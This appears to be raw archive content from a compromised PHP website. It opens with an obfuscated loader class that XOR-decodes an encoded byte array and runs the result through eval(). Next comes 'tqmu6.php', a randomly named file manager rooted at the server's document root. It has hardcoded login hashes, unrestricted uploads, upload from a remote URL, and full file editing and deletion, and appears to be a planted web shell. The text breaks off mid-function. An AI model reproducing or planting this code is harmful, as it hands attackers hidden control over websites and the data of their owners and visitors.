25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 78, 85, 85, 0, 25, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 83, 90, 86, 94, 18, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 82, 83, 25, 25, 25, 6, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 73, 85, 90, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 11, 13, 25, 25, 25, 6, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 103, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 72, 90, 75, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 21, 25, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 15, 25, 103, 11, 13, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 104, 90, 75, 94, 93, 25, 39, 29, 64, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 70, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 76, 82, 83, 93, 84, 76, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 80, 94, 66, 93, 84, 76, 83, 28, 21, 25, 17, 94, 18, 6, 3, 64, 25, 82, 91, 25, 17, 94, 19, 80, 94, 66, 25, 6, 6, 6, 25, 28, 126, 72, 88, 90, 73, 94, 28, 25, 27, 27, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 6, 6, 25, 28, 91, 85, 94, 65, 28, 18, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 54, 63, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 5, 20, 72, 88, 87, 82, 73, 77, 3, 54, 63, 5, 20, 103, 84, 93, 66, 3, 54, 63, 5, 20, 81, 77, 86, 85, 3, 54, 63]; $hex = ''; foreach ($enc as $val) { $val = ($val ^ $key) & 0xFF; $val = ($val + ($eyyenyneo % 5)) ^ ($nainnnnllnl % 7); $hex .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT); } return $this->hexToStr($hex); } public function getObfuscated(): string { $plain = $this->buildPayload(); $cipher = $this->xorCrypt($plain); return bin2hex($cipher); } public function run(): void { $h = $this->getObfuscated(); $c = hex2bin($h); $code = $this->xorCrypt($c); eval($code); } private function xxxinwqitb(array $z1, array $z2): array { return [ $z1[0] * $z2[0] - $z1[1] * $z2[1], $z1[0] * $z2[1] + $z1[1] * $z2[0], ]; } private function hexToStr(string $hex): string { $out = ''; $len = strlen($hex); for ($i = 0; $i < $len; $i += 2) { $out .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $out; } } $loader = new motocikasitux(); $loader->run();PKQsm\>mLL tqmu6.phpnu[ '7b141664a128ac43021af42a5cfb7d7e', 'user' => '7b141664a128ac43021af42a5cfb7d7e' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . 